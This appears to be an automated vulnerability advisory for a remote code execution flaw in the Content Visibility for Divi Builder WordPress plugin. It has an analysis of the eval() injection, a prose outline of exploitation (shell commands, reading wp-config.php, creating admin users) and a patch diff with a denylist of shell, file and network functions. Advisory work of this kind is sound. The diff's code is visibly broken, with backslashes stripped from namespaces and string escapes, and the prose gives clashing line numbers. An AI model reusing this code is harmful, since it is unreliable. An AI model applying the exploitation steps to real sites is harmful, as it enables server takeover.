Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 2, 2026

CVE-2026-1829: Content Visibility for Divi Builder <= 4.02 Authenticated (Contributor+) Remote Code Execution PoC, Patch Analysis & Rule

CVE ID CVE-2026-1829
Severity High (CVSS 8.8)
CWE 94
Vulnerable Version 4.02
Patched Version 5.00
Disclosed June 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1829:

This vulnerability allows authenticated attackers with Contributor-level access and above to execute arbitrary PHP code on the server via the Content Visibility for Divi Builder plugin (versions up to 4.02). The flaw exists in how the plugin processes the ‘cvdb_content_visibility_check’ parameter within the ‘et_pb_text’ shortcode. The CVSS score is 8.8 (High).

The root cause is insufficient input validation combined with direct use of eval(). In the vulnerable version (4.02), the evaluate_visibility_expression() method in includes/plugin.class.php passes user-supplied PHP expressions directly to eval() without any allowlist or denylist enforcement. The expression originates from the shortcode attribute ‘cvdb_content_visibility_check’ which is processed during page rendering. The code at line 190 in the original vulnerable code executed ‘eval( ‘$visibility = ‘ . $expression . ‘;’ )’ at line 301, where $expression is unsanitized user input.

Exploitation requires an authenticated user with at least Contributor role. The attacker crafts a post or page containing the ‘et_pb_text’ Divi Builder shortcode with a malicious ‘cvdb_content_visibility_check’ parameter. When the page renders, the plugin calls evaluate_visibility_expression() with the attacker’s payload. The payload can contain arbitrary PHP code, such as system() calls to execute shell commands, file operations, or backdoor creation. No nonce check or capability verification beyond the standard post editing permissions is performed.

The patch (version 5.00) introduces a comprehensive validation layer. It adds a new helper file ‘includes/global-eval-helper.php’ that isolates the eval() call to a single, controlled function ‘cvdb_eval_expression()’. The critical change is the addition of ‘validate_expression()’ method which tokenizes the expression and enforces a strict allowlist of permitted tokens (T_STRING, operators, literals) and a denylist of dangerous functions (exec, system, eval, file operations, network functions, etc.). The validation is enabled by default on new installs and controlled via a database option. Additionally, the eval() now only executes the return statement with the expression, preventing assignment-based attacks.

Successful exploitation yields Remote Code Execution (RCE) on the WordPress server. An attacker with Contributor access can execute arbitrary PHP commands, including reading sensitive files (wp-config.php), creating new administrator users, installing backdoors, modifying database contents, or using the compromised server as a pivot point for further attacks. Since the vulnerability affects the rendering of content, it can be triggered by visitors viewing the compromised content, potentially affecting authenticated and unauthenticated users alike.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/content-visibility-for-divi-builder/content-visibility-for-divi-builder.php
+++ b/content-visibility-for-divi-builder/content-visibility-for-divi-builder.php
@@ -7,7 +7,7 @@
  * Plugin Name:       Content Visibility for Divi Builder
  * Plugin URI:        https://aod-tech.com/
  * Description:       Allows Sections and Modules to be displayed/hidden based on the outcome of a PHP boolean expression.
- * Version:           4.02
+ * Version:           5.00
  * Author:            AoD Technologies LLC
  * Author URI:        https://aod-tech.com/
  * License:           GPL-2.0+
@@ -32,12 +32,13 @@
  */

 // If this file is called directly, abort.
-if ( ! defined( 'WPINC' ) ) {
+if ( !defined( 'WPINC' ) ) {
 	die;
 }

-if ( ! defined( 'CVDB_PLUGIN' ) ) {
+if ( !defined( 'CVDB_PLUGIN' ) ) {
 	define( 'CVDB_PLUGIN', __FILE__ );
 }

+require_once 'includes/global-eval-helper.php';
 require_once 'includes/plugin.class.php';
--- a/content-visibility-for-divi-builder/includes/global-eval-helper.php
+++ b/content-visibility-for-divi-builder/includes/global-eval-helper.php
@@ -0,0 +1,24 @@
+<?php
+
+// Intentionally NO namespace declaration. eval()'d code runs in the namespace
+// of the calling function — keeping this helper in the global namespace means
+// identifiers in $expression (functions, classes, constants) resolve against
+// the global namespace at evaluation time, matching what plugin authors expect.
+//
+// This is the SOLE eval() call site in the entire plugin. It is used by:
+//   - AoDTechnologiesContentVisibilityForDiviBuilderContentVisibilityForDiviBuilder::evaluate_visibility_expression()
+//   - AoDTechnologiesContentVisibilityForDiviBuilderContentVisibilityForDiviBuilder::is_eval_available() (smoke probe)
+//
+// If you are reviewing this file for security: the upstream callers run
+// $expression through validate_expression() before reaching here, which
+// enforces token + callable allowlists.
+
+if ( ! defined( 'WPINC' ) ) {
+	die;
+}
+
+if ( ! function_exists( 'cvdb_eval_expression' ) ) {
+	function cvdb_eval_expression( $expression ) {
+		return eval( 'return ' . $expression . ';' );
+	}
+}
--- a/content-visibility-for-divi-builder/includes/plugin.class.php
+++ b/content-visibility-for-divi-builder/includes/plugin.class.php
@@ -3,7 +3,7 @@
 namespace AoDTechnologiesContentVisibilityForDiviBuilder;

 // If this file is called directly, abort.
-if ( ! defined( 'WPINC' ) ) {
+if ( !defined( 'WPINC' ) ) {
 	die;
 }

@@ -18,12 +18,14 @@
 	protected static $should_force_shortcode_manager_to_register_all_shortcodes = false;
 	protected static $cvdb_et_pb_children = array();

-	protected $underscore_text_domain;
+	protected static $underscore_text_domain;
+	protected static $validation_option_key;
+
 	protected $show_rating_notice_option_key;
 	protected $is_saving_cache = false;

 	public static function get_version() {
-		return '4.01';
+		return '5.00';
 	}

 	public static function get_text_domain() {
@@ -34,12 +36,18 @@
 		return __( 'Content Visibility For Divi Builder', self::get_text_domain() );
 	}

+	public static function get_underscore_text_domain() {
+		return self::$underscore_text_domain;
+	}
+
 	public static function init() {
 		if (self::$initialized) {
 			return;
 		}

 		self::$wp_version = get_bloginfo( 'version' );
+		self::$underscore_text_domain = str_replace( '-', '_', self::get_text_domain() );
+		self::$validation_option_key = self::$underscore_text_domain . '_expression_validation_enabled';
 		self::get_instance();

 		self::$initialized = true;
@@ -54,14 +62,14 @@
 	}

 	public static function uninstall() {
-		$underscore_text_domain = str_replace( '-', '_', self::get_text_domain() );
-
-		delete_option( "{$underscore_text_domain}_authentication_tokens" );
+		delete_option( self::$underscore_text_domain . '_authentication_tokens' );
 	}

 	public function __construct($actions_and_filters_priority = 10) {
-		$this->underscore_text_domain = str_replace( '-', '_', self::get_text_domain() );
-		$this->show_rating_notice_option_key = "{$this->underscore_text_domain}_show-rating-notice";
+		require_once plugin_dir_path( CVDB_PLUGIN ) . 'includes/security-scanner.class.php';
+		SecurityScanner::init();
+
+		$this->show_rating_notice_option_key = self::$underscore_text_domain . '_show_rating_notice';

 		add_action( 'plugins_loaded', array( $this, 'actions_and_filters' ), $actions_and_filters_priority );

@@ -142,12 +150,34 @@
 	}

 	private function maybe_run_migrations() {
-		$stored_version = get_option( "{$this->underscore_text_domain}_version" );
-
+		$stored_version = get_option( self::$underscore_text_domain . '_version' );
+
+		if ( $stored_version === false ) {
+			// New install — validation on by default
+			update_option( self::$validation_option_key, '1' );
+		} else if ( version_compare( $stored_version, '5.00', '<' ) ) {
+			// Upgrade — validation pending, don't overwrite if already set
+			if ( get_option( self::$validation_option_key ) === false ) {
+				update_option( self::$validation_option_key, '0' );
+			}
+
+			// Rename the per-user rating-notice key from the legacy mixed-case form
+			// (`<udt>_show-rating-notice`) to the standardized fully-underscored form
+			// (`<udt>_show_rating_notice`). Single SQL UPDATE migrates every user at once.
+			global $wpdb;
+			$old_key = self::$underscore_text_domain . '_show-rating-notice';
+			$new_key = self::$underscore_text_domain . '_show_rating_notice';
+			$wpdb->query( $wpdb->prepare(
+				"UPDATE {$wpdb->usermeta} SET meta_key = %s WHERE meta_key = %s",
+				$new_key,
+				$old_key
+			) );
+		}
+
 		// Migration code for already active plugins
 		if (self::get_version() !== $stored_version) {
-			update_option( "{$this->underscore_text_domain}_version", self::get_version() );
-
+			update_option( self::$underscore_text_domain . '_version', self::get_version() );
+
 			self::maybe_force_regenerate_templates();
 		}
 	}
@@ -184,12 +214,14 @@

 		add_action( 'init', array( $this, 'run_detections' ), 1337 );

-		add_filter( "{$this->underscore_text_domain}_prevent_texturize_shortcodes", array( $this, 'prevent_texturize_shortcodes' ) );
+		add_filter( self::$underscore_text_domain . '_prevent_texturize_shortcodes', array( $this, 'prevent_texturize_shortcodes' ) );

 		add_action( 'et_builder_modules_loaded', array( $this, 'detect_saving_cache' ), 0 );

 		add_action( 'et_builder_ready', array( $this, 'hook_into_builder_shortcodes' ), 1337 );

+		add_action( 'rest_api_init', array( $this, 'register_rest_routes' ) );
+
 		if ( is_admin() ) {
 			add_filter( 'plugin_action_links_' . plugin_basename( CVDB_PLUGIN ), array( $this, 'plugin_action_links' ), 1337 );

@@ -199,8 +231,7 @@

 			add_action( 'admin_notices', array( $this, 'render_admin_notices' ) );

-			add_action( 'wp_ajax_' . self::get_text_domain() . '_dismiss-rating-notice', array( $this, 'ajax_dismiss_rating_notice' ) );
-			add_action( 'wp_ajax_' . self::get_text_domain() . '_click-rating-link', array( $this, 'ajax_click_rating_link' ) );
+			add_action( 'admin_init', array( $this, 'handle_validation_toggle' ) );

 			if ( current_user_can( 'manage_options' ) && get_user_option( $this->show_rating_notice_option_key ) === false ) {
 				// TODO: Find a better way to detect when a user has actually used the features of this plugin
@@ -226,12 +257,334 @@
 		$this->is_saving_cache = apply_filters( 'et_builder_modules_is_saving_cache', false );
 	}

+	public static function is_eval_available() {
+		static $cached = null;
+		if ( $cached !== null ) {
+			return $cached;
+		}
+		try {
+			$cached = ( cvdb_eval_expression( '42' ) === 42 );
+		} catch ( Throwable $e ) {
+			$cached = false;
+		}
+		return $cached;
+	}
+
+	public static function get_allowed_callables() {
+		return apply_filters( self::$underscore_text_domain . '_allowed_callables', array(
+			// WP conditional tags — pure read-only context queries (default allowlist).
+			// Site admins extend this list via the filter to opt in custom helpers.
+			'is_user_logged_in', 'current_user_can', 'is_admin', 'is_super_admin',
+			'is_singular', 'is_single', 'is_page', 'is_home', 'is_front_page',
+			'is_archive', 'is_category', 'is_tag', 'is_author', 'is_search',
+			'is_404', 'is_attachment', 'is_post_type_archive', 'is_tax',
+			'is_main_query', 'is_feed', 'is_rtl', 'wp_is_mobile',
+			'has_tag', 'has_term', 'has_category', 'in_category',
+			'get_current_user_id', 'get_the_ID', 'comments_open', 'pings_open',
+		) );
+	}
+
+	public static function normalize_callable_name( $name ) {
+		$name = (string) $name;
+		// Strip leading literal `namespace` keyword (case-insensitive on the keyword)
+		if ( strncasecmp( $name, 'namespace\', 10 ) === 0 ) {
+			$name = substr( $name, 10 );
+		}
+		// Strip leading `` (fully-qualified marker)
+		$name = ltrim( $name, '\' );
+		// Class & function names are case-insensitive in PHP — lowercase for stable matching
+		return strtolower( $name );
+	}
+
+	/**
+	 * Pre-process a token stream so multi-token namespaced names emitted by
+	 * the PHP 7.x tokenizer (e.g. `FooBar` → 4 tokens) collapse into a
+	 * single synthetic `T_STRING` carrying the full qualified name. PHP 8.x
+	 * already emits single tokens (T_NAME_QUALIFIED, T_NAME_FULLY_QUALIFIED,
+	 * T_NAME_RELATIVE) so most chains pass through; this only fires on PHP 7
+	 * or on rare residual `T_NS_SEPARATOR T_STRING` patterns.
+	 */
+	public static function merge_namespace_tokens( $tokens ) {
+		$result = array();
+		$count = count( $tokens );
+		$i = 0;
+		while ( $i < $count ) {
+			$tok = $tokens[ $i ];
+			$is_array_tok = is_array( $tok );
+			$is_ns_sep = $is_array_tok && $tok[0] === T_NS_SEPARATOR;
+			$is_namespace_kw = $is_array_tok && $tok[0] === T_NAMESPACE;
+			$is_string = $is_array_tok && $tok[0] === T_STRING;
+
+			if ( !( $is_ns_sep || $is_namespace_kw || $is_string ) ) {
+				$result[] = $tok;
+				$i++;
+				continue;
+			}
+
+			$start = $i;
+			$name = '';
+			$line = $is_array_tok && isset( $tok[2] ) ? $tok[2] : 0;
+
+			if ( $is_namespace_kw ) {
+				$name = 'namespace';
+				$i++;
+				if ( $i >= $count || ! is_array( $tokens[ $i ] ) || $tokens[ $i ][0] !== T_NS_SEPARATOR ) {
+					// `namespace` keyword used standalone — emit as-is, will fail token allowlist anyway
+					$result[] = $tokens[ $start ];
+					$i = $start + 1;
+					continue;
+				}
+				$name .= '\';
+				$i++;
+			} elseif ( $is_ns_sep ) {
+				$name = '\';
+				$i++;
+			}
+
+			if ( $i >= $count || ! is_array( $tokens[ $i ] ) || $tokens[ $i ][0] !== T_STRING ) {
+				$result[] = $tokens[ $start ];
+				$i = $start + 1;
+				continue;
+			}
+
+			$name .= $tokens[ $i ][1];
+			$i++;
+
+			while ( $i + 1 < $count
+				&& is_array( $tokens[ $i ] ) && $tokens[ $i ][0] === T_NS_SEPARATOR
+				&& is_array( $tokens[ $i + 1 ] ) && $tokens[ $i + 1 ][0] === T_STRING ) {
+				$name .= '\' . $tokens[ $i + 1 ][1];
+				$i += 2;
+			}
+
+			if ( $i === $start + 1 && $is_string ) {
+				// Unchanged plain T_STRING — emit original
+				$result[] = $tokens[ $start ];
+			} else {
+				$result[] = array( T_STRING, $name, $line );
+			}
+		}
+		return $result;
+	}
+
+	public static function get_blocked_functions() {
+		return apply_filters( self::$underscore_text_domain . '_blocked_functions', array(
+			// Command execution
+			'exec', 'system', 'shell_exec', 'passthru', 'proc_open', 'popen', 'pcntl_exec',
+			// Code execution
+			'eval', 'assert', 'create_function', 'call_user_func', 'call_user_func_array',
+			'preg_replace_callback', 'array_map', 'array_filter', 'array_walk', 'array_walk_recursive',
+			'usort', 'uasort', 'uksort', 'register_shutdown_function', 'register_tick_function', 'ob_start',
+			// File I/O
+			'file_put_contents', 'fwrite', 'fputs', 'fopen', 'unlink', 'rename', 'copy', 'mkdir', 'rmdir',
+			'chmod', 'chown', 'chgrp', 'symlink', 'link', 'tmpfile', 'tempnam', 'touch',
+			'file_get_contents', 'file', 'readfile', 'fread', 'fgets', 'fgetc', 'fpassthru',
+			'highlight_file', 'show_source', 'php_strip_whitespace',
+			// Network
+			'curl_init', 'curl_exec', 'curl_multi_exec', 'fsockopen', 'pfsockopen',
+			'stream_socket_client', 'mail', 'wp_mail', 'wp_remote_get', 'wp_remote_post',
+			'wp_remote_request', 'wp_remote_head', 'wp_safe_remote_get', 'wp_safe_remote_post',
+			'wp_safe_remote_request', 'wp_safe_remote_head', 'download_url',
+			// WP write operations
+			'wp_insert_user', 'wp_create_user', 'wp_delete_user', 'wp_update_user',
+			'wp_set_auth_cookie', 'wp_set_current_user', 'wp_set_password', 'wp_logout',
+			'wp_insert_post', 'wp_update_post', 'wp_delete_post', 'wp_trash_post',
+			'update_option', 'delete_option', 'add_option',
+			'update_user_meta', 'delete_user_meta', 'add_user_meta',
+			'update_post_meta', 'delete_post_meta', 'add_post_meta',
+			// Output/info
+			'header', 'setcookie', 'setrawcookie', 'phpinfo', 'php_uname', 'getenv', 'putenv',
+			'ini_set', 'ini_alter', 'ini_restore', 'dl',
+			'get_defined_functions', 'get_defined_vars', 'get_defined_constants',
+		) );
+	}
+
+	public static function validate_expression( $expression ) {
+		$blocked_functions = self::get_blocked_functions();
+		$allowed_callables = array_map( array( __CLASS__, 'normalize_callable_name' ), self::get_allowed_callables() );
+
+		$allowed_tokens = apply_filters( self::$underscore_text_domain . '_allowed_tokens', array(
+			T_STRING,
+			T_LNUMBER, T_DNUMBER, T_CONSTANT_ENCAPSED_STRING,
+			T_BOOLEAN_AND, T_BOOLEAN_OR, T_LOGICAL_AND, T_LOGICAL_OR, T_LOGICAL_XOR,
+			T_IS_EQUAL, T_IS_IDENTICAL, T_IS_NOT_EQUAL, T_IS_NOT_IDENTICAL,
+			T_IS_GREATER_OR_EQUAL, T_IS_SMALLER_OR_EQUAL, T_COALESCE,
+			T_DOUBLE_COLON, T_OBJECT_OPERATOR,
+			T_NS_SEPARATOR, T_ARRAY, T_DOUBLE_ARROW, T_WHITESPACE,
+		) );
+
+		// PHP 8+ token constants
+		if ( defined( 'T_NULLSAFE_OPERATOR' ) ) {
+			$allowed_tokens[] = T_NULLSAFE_OPERATOR;
+		}
+		if ( defined( 'T_NAME_QUALIFIED' ) ) {
+			$allowed_tokens[] = T_NAME_QUALIFIED;
+		}
+		if ( defined( 'T_NAME_FULLY_QUALIFIED' ) ) {
+			$allowed_tokens[] = T_NAME_FULLY_QUALIFIED;
+		}
+		if ( defined( 'T_NAME_RELATIVE' ) ) {
+			$allowed_tokens[] = T_NAME_RELATIVE;
+		}
+
+		$allowed_chars = apply_filters( self::$underscore_text_domain . '_allowed_chars', array(
+			'(', ')', ',', '!', '<', '>', '+', '-', '*', '/', '%', '.', '?', ':', '[', ']',
+		) );
+
+		$tokens = token_get_all( '<?php ' . $expression );
+		array_shift( $tokens ); // drop the opening <?php
+
+		// Drop whitespace tokens — they're never significant for what we check
+		$tokens = array_values( array_filter( $tokens, function( $t ) {
+			return ! ( is_array( $t ) && $t[0] === T_WHITESPACE );
+		} ) );
+
+		// Collapse PHP 7's multi-token namespaced names into single synthetic T_STRING tokens
+		$tokens = self::merge_namespace_tokens( $tokens );
+
+		$count = count( $tokens );
+		$prev_significant_token = null;
+
+		// Token types that introduce a callable name
+		$name_token_types = array( T_STRING );
+		if ( defined( 'T_NAME_QUALIFIED' ) )       $name_token_types[] = T_NAME_QUALIFIED;
+		if ( defined( 'T_NAME_FULLY_QUALIFIED' ) ) $name_token_types[] = T_NAME_FULLY_QUALIFIED;
+		if ( defined( 'T_NAME_RELATIVE' ) )        $name_token_types[] = T_NAME_RELATIVE;
+
+		for ( $i = 0; $i < $count; $i++ ) {
+			$token = $tokens[ $i ];
+
+			if ( is_array( $token ) ) {
+				$token_type = $token[0];
+				$token_value = $token[1];
+
+				if ( !in_array( $token_type, $allowed_tokens, true ) ) {
+					return sprintf( 'Disallowed token type: %s ("%s")', token_name( $token_type ), $token_value );
+				}
+
+				$is_name = in_array( $token_type, $name_token_types, true );
+				$next = $i + 1 < $count ? $tokens[ $i + 1 ] : null;
+
+				if ( $is_name ) {
+					// Static method call: <Name> :: <Name> (
+					if ( is_array( $next ) && $next[0] === T_DOUBLE_COLON ) {
+						$method_tok = $i + 2 < $count ? $tokens[ $i + 2 ] : null;
+						$after = $i + 3 < $count ? $tokens[ $i + 3 ] : null;
+						if ( is_array( $method_tok ) && $method_tok[0] === T_STRING && $after === '(' ) {
+							$callable = $token_value . '::' . $method_tok[1];
+							$normalized = self::normalize_callable_name( $callable );
+							if ( in_array( $normalized, $blocked_functions, true ) ) {
+								return sprintf( 'Blocked function: %s', $callable );
+							}
+							if ( !in_array( $normalized, $allowed_callables, true ) ) {
+								return sprintf( 'Unknown callable: %s — not on the allowlist. Contact the site administrator if it should be added.', $callable );
+							}
+							$prev_significant_token = $tokens[ $i + 2 ];
+							$i += 2;
+							continue;
+						}
+						// Class::CONSTANT (no parens) — read-only access; allowed. Walk through.
+						$prev_significant_token = $token;
+						continue;
+					}
+
+					// Function call: <Name> (
+					if ( $next === '(' ) {
+						$normalized = self::normalize_callable_name( $token_value );
+						if ( in_array( $normalized, $blocked_functions, true ) ) {
+							return sprintf( 'Blocked function: %s', $token_value );
+						}
+						if ( !in_array( $normalized, $allowed_callables, true ) ) {
+							return sprintf( 'Unknown callable: %s — not on the allowlist. Contact the site administrator if it should be added.', $token_value );
+						}
+						$prev_significant_token = $token;
+						continue;
+					}
+
+					// Bare name — only allowed if it's a literal or the second part of Class::X
+					$preceded_by_double_colon = is_array( $prev_significant_token ) && $prev_significant_token[0] === T_DOUBLE_COLON;
+					$lower_value = strtolower( $token_value );
+					if ( $preceded_by_double_colon || $lower_value === 'true' || $lower_value === 'false' || $lower_value === 'null' ) {
+						$prev_significant_token = $token;
+						continue;
+					}
+					return sprintf( 'Unknown identifier: %1$s — must be a function call (e.g. %1$s()), static method, class constant, or a true/false/null literal.', $token_value );
+				}
+
+				// Instance method call: -> <Name> (
+				$is_object_op = $token_type === T_OBJECT_OPERATOR ||
+					( defined( 'T_NULLSAFE_OPERATOR' ) && $token_type === T_NULLSAFE_OPERATOR );
+				if ( $is_object_op ) {
+					$name_tok = $next;
+					$after = $i + 2 < $count ? $tokens[ $i + 2 ] : null;
+					if ( is_array( $name_tok ) && $name_tok[0] === T_STRING && $after === '(' ) {
+						return sprintf( 'Instance method call ->%s() cannot be allowlisted — rewrite as a static helper', $name_tok[1] );
+					}
+				}
+
+				if ( $token_type === T_CONSTANT_ENCAPSED_STRING ) {
+					$prev_significant_token = $token;
+					continue;
+				}
+
+				$prev_significant_token = $token;
+			} else {
+				if ( !in_array( $token, $allowed_chars, true ) ) {
+					return sprintf( 'Disallowed character: "%s"', $token );
+				}
+
+				// Anything-as-callable: when `(` follows a value that isn't a name token, the
+				// thing being called is the result of an expression and can't be tied to an
+				// allowlistable callable. Catches:
+				//   'phpinfo'()              — string-as-callable
+				//   ('phpinfo')()            — parenthesized string
+				//   ('php' . 'info')()       — concatenation result
+				//   func()()                 — chained call (call returns callable, then call)
+				//   ['phpinfo'][0]()         — array literal indexed then called
+				if ( $token === '(' && $prev_significant_token !== null ) {
+					if ( is_array( $prev_significant_token ) && $prev_significant_token[0] === T_CONSTANT_ENCAPSED_STRING ) {
+						return sprintf( 'String used as callable: %s', $prev_significant_token[1] );
+					}
+					if ( $prev_significant_token === ')' ) {
+						return 'Call invocation on a non-name expression — `(...)()` cannot be allowlisted; rewrite as a static helper';
+					}
+					if ( $prev_significant_token === ']' ) {
+						return 'Call invocation on an array element — `[...]()` cannot be allowlisted; rewrite as a static helper';
+					}
+				}
+
+				$prev_significant_token = $token;
+			}
+		}
+
+		return true;
+	}
+
 	public static function evaluate_visibility_expression($expression, $type, $data) {
 		$visibility = true;

+		$validation_enabled = get_option( self::$validation_option_key );
+		if ( $validation_enabled === '1' ) {
+			$validation_result = self::validate_expression( $expression );
+			if ( $validation_result !== true ) {
+				global $wp;
+				global $wp_filesystem;
+
+				try {
+					$error_message_format = "A visibility expression has been BLOCKED by expression validation.nThe content will be shown by default (not hidden).nnPage URL:n%1$snnVisibility expression:n%2$snnValidation error:n%3$s";
+
+					wp_mail( get_bloginfo( 'admin_email' ), '[' . get_bloginfo( 'name' ) . '] Content Visibility for Divi Builder - Blocked Expression Detected', sprintf( $error_message_format, home_url( add_query_arg( isset( $_SERVER['QUERY_STRING'] ) ? $_SERVER['QUERY_STRING'] : array(), '', isset( $wp->request ) ? $wp->request : '' ) ), $expression, $validation_result ), array( 'Content-Type: text/plain; charset=UTF-8' ) );
+				} catch ( Exception $e ) {
+					// Silently fail if email cannot be sent
+				}
+
+				return $visibility;
+			}
+		}
+
 		try {
-			eval( '$visibility = ' . $expression . ';' );
-		} catch (ParseError | Error $error) {
+			$visibility = (bool) cvdb_eval_expression( $expression );
+		} catch (ParseError | Error $error) {
 			global $wp;
 			global $wp_filesystem;

@@ -301,22 +654,22 @@
 			}
 		}

-		$cvdb_tags = apply_filters( $this->underscore_text_domain . '_prevent_texturize_shortcodes', array_unique( $cvdb_tags ) );
+		$cvdb_tags = apply_filters( self::$underscore_text_domain . '_prevent_texturize_shortcodes', array_unique( $cvdb_tags ) );

 		add_filter( 'no_texturize_shortcodes', function( $default_no_texturize_shortcodes ) use ( $cvdb_tags ) {
 			return array_unique( array_merge( $default_no_texturize_shortcodes, $cvdb_tags ) );
 		} );

 		// Something temporary until a better solution is found
-		if ( function_exists( 'et_pb_is_pagebuilder_used' ) && apply_filters( $this->underscore_text_domain . '_remove_wptexturize_from_builder_pages', true ) ) {
+		if ( function_exists( 'et_pb_is_pagebuilder_used' ) && apply_filters( self::$underscore_text_domain . '_remove_wptexturize_from_builder_pages', true ) ) {
 			add_filter( 'the_content', array( $this, 'remove_wptexturize_from_builder_content' ), 9 );
 		}

 		// TODO: Lazy-loaded callables will not be included here (unless we are on our API reference page)!
-		do_action( $this->underscore_text_domain, self::$cvdb_et_pb_children );
+		do_action( self::$underscore_text_domain, self::$cvdb_et_pb_children );

 		foreach ( self::$cvdb_et_pb_children as $tag => $func ) {
-			new CVDB_ET_Builder_Element( $func, $tag, $this->underscore_text_domain, self::get_text_domain() );
+			new CVDB_ET_Builder_Element( $func, $tag, self::$underscore_text_domain, self::get_text_domain() );
 		}

 		if ( $this->is_saving_cache && method_exists( 'ET_Builder_Element', 'save_cache' ) ) {
@@ -339,7 +692,7 @@
 			foreach ( $path_parts as $key ) {
 				if ( !is_array( $cvdb_content_visibility_check ) || !isset( $cvdb_content_visibility_check[$key] ) ) {
 					return apply_filters(
-						"{$this->underscore_text_domain}_block_render_callback",
+						self::$underscore_text_domain . '_block_render_callback',
 						call_user_func( $render_callback, $block_attributes, $content, $block ),
 						$block_attributes,
 						$content,
@@ -353,7 +706,7 @@

 			if ( !is_string( $cvdb_content_visibility_check ) ) {
 				return apply_filters(
-					"{$this->underscore_text_domain}_block_render_callback",
+					self::$underscore_text_domain . '_block_render_callback',
 					call_user_func( $render_callback, $block_attributes, $content, $block ),
 					$block_attributes,
 					$content,
@@ -369,7 +722,7 @@
 			}

 			return apply_filters(
-				"{$this->underscore_text_domain}_block_render_callback",
+				self::$underscore_text_domain . '_block_render_callback',
 				call_user_func( $render_callback, $block_attributes, $content, $block ),
 				$block_attributes,
 				$content,
@@ -393,14 +746,14 @@
 		$func = $GLOBALS['shortcode_tags'][$tag];
 		self::$cvdb_et_pb_children[$tag] = $func;
 		remove_shortcode( $tag, $func );
-		new CVDB_ET_Builder_Element( $func, $tag, $this->underscore_text_domain, self::get_text_domain() );
+		new CVDB_ET_Builder_Element( $func, $tag, self::$underscore_text_domain, self::get_text_domain() );
 	}

 	public function enqueue_scripts() {
 		if ( self::$is_using_divi_builder_5 ) {
 			if ( did_action( 'divi_visual_builder_initialize' ) && self::$has_ET_Builder_Framework_Utility_Conditions && ETBuilderFrameworkUtilityConditions::is_vb_app_window() ) {
 				// Adds the Content Visibility field to Divi 5's editor
-				wp_enqueue_script( self::get_text_domain() . '_gutenberg-filters', plugins_url( '/js/gutenberg-filters.js', CVDB_PLUGIN ), array( 'divi-vendor-wp-hooks' ), self::get_version() );
+				wp_enqueue_script( self::get_text_domain() . '_gutenberg-filters', plugins_url( '/js/gutenberg-filters.js', CVDB_PLUGIN ), array( 'divi-vendor-wp-hooks', 'divi-vendor-react', 'divi-field-library', 'wp-api-fetch' ), self::get_version(), true );
 			}
 		}
 	}
@@ -423,9 +776,8 @@

 	public function enqueue_admin_scripts() {
 		wp_enqueue_style( self::get_text_domain() . '_admin_styles', plugins_url( '/css/admin-styles.css', CVDB_PLUGIN ), array(), self::get_version() );
-		wp_enqueue_script( self::get_text_domain() . '_admin-script', plugins_url( '/js/admin.js' , CVDB_PLUGIN ), array( 'jquery' ), self::get_version() );
-		wp_localize_script( self::get_text_domain() . '_admin-script', 'cvdbAdminScript', array(
-			'ajaxUrl' => admin_url( 'admin-ajax.php' ),
+		wp_enqueue_script( self::get_text_domain() . '_admin-script', plugins_url( '/js/admin.js' , CVDB_PLUGIN ), array( 'jquery', 'wp-api-fetch' ), self::get_version() );
+		wp_localize_script( self::get_text_domain() . '_admin-script', 'cvdbAdminScript', array(
 			'textDomain' => self::get_text_domain()
 		) );

@@ -443,16 +795,21 @@
 		) );
 	}

-	public function ajax_dismiss_rating_notice() {
-		update_user_option( get_current_user_id(), $this->show_rating_notice_option_key, '0' );
-
-		exit;
+	public function register_rest_routes() {
+		register_rest_route( 'cvdb/v1', '/notices/rating/dismiss', array(
+			'methods'             => WP_REST_Server::CREATABLE,
+			'permission_callback' => function() {
+				$current_user_id = get_current_user_id();
+
+				return $current_user_id !== 0 && current_user_can( 'edit_user', $current_user_id );
+			},
+			'callback'            => array( $this, 'rest_dismiss_rating_notice' ),
+		) );
 	}

-	public function ajax_click_rating_link() {
-		wp_redirect( 'https://wordpress.org/support/view/plugin-reviews/' . self::get_text_domain() . '?rate=5#postform' );
-
-		exit;
+	public function rest_dismiss_rating_notice() {
+		update_user_option( get_current_user_id(), $this->show_rating_notice_option_key, '0' );
+		return new WP_REST_Response( null, 204 );
 	}

 	public function add_menu_items() {
@@ -483,6 +840,8 @@
 			'general' => __( 'General Actions and Filters', self::get_text_domain() ),
 			'specific' => __( 'Legacy Divi Module-Specific Actions and Filters', self::get_text_domain() ),
 			'available' => __( 'Currently Available Legacy Divi Module-Specific Actions and Filters', self::get_text_domain() ),
+			'security' => __( 'Expression Validation', self::get_text_domain() ),
+			'validation-filters' => __( 'Expression Validation Filters', self::get_text_domain() ),
 		);
 		foreach ( $all_tabs as $tab_key => $tab_caption ) {
 			$active = $tab == $tab_key ? ' nav-tab-active' : '';
@@ -528,6 +887,76 @@
 	<h3>    <?php printf( /* translators: 1: the Module-Specific filter */ __( 'Filter: %1$s', self::get_text_domain() ), "<code>content_visibility_for_divi_builder_shortcode_$tag</code>" ); ?></h3>
 	<hr><?php
 			}
+		} else if ( $tab === 'security' ) {
+			$validation_enabled = get_option( self::$validation_option_key );
+?>
+<h2 class="title"><?php _e( 'Expression Validation', self::get_text_domain() ); ?></h2>
+<p><?php _e( 'Expression validation prevents potentially dangerous PHP code from being executed via visibility expressions. When enabled, all expressions are checked against an allowlist of safe tokens and a denylist of dangerous functions before evaluation.', self::get_text_domain() ); ?></p>
+
+<h3><?php _e( 'Status', self::get_text_domain() ); ?></h3>
+<?php if ( $validation_enabled === '1' ) { ?>
+<p><strong style="color: #46b450;"><?php _e( 'Expression validation is active.', self::get_text_domain() ); ?></strong></p>
+<p><?php _e( 'Use the scanner below to check your content for expressions that would be blocked by validation.', self::get_text_domain() ); ?></p>
+<?php } else { ?>
+<p><strong style="color: #dc3232;"><?php _e( 'Expression validation is not yet enabled.', self::get_text_domain() ); ?></strong></p>
+<p><?php _e( 'Use the scanner below to check your content for expressions that would be blocked, then enable validation when ready.', self::get_text_domain() ); ?></p>
+<?php } ?>
+
+<?php SecurityScanner::render_scanner_section(); ?>
+
+<?php if ( $validation_enabled !== '1' ) { ?>
+<hr>
+<h3><?php _e( 'Enable Validation', self::get_text_domain() ); ?></h3>
+<p><?php _e( 'Once you have reviewed the scan results and resolved any flagged expressions, enable validation to protect your site. You can disable it again later if something unexpected breaks.', self::get_text_domain() ); ?></p>
+<form method="post">
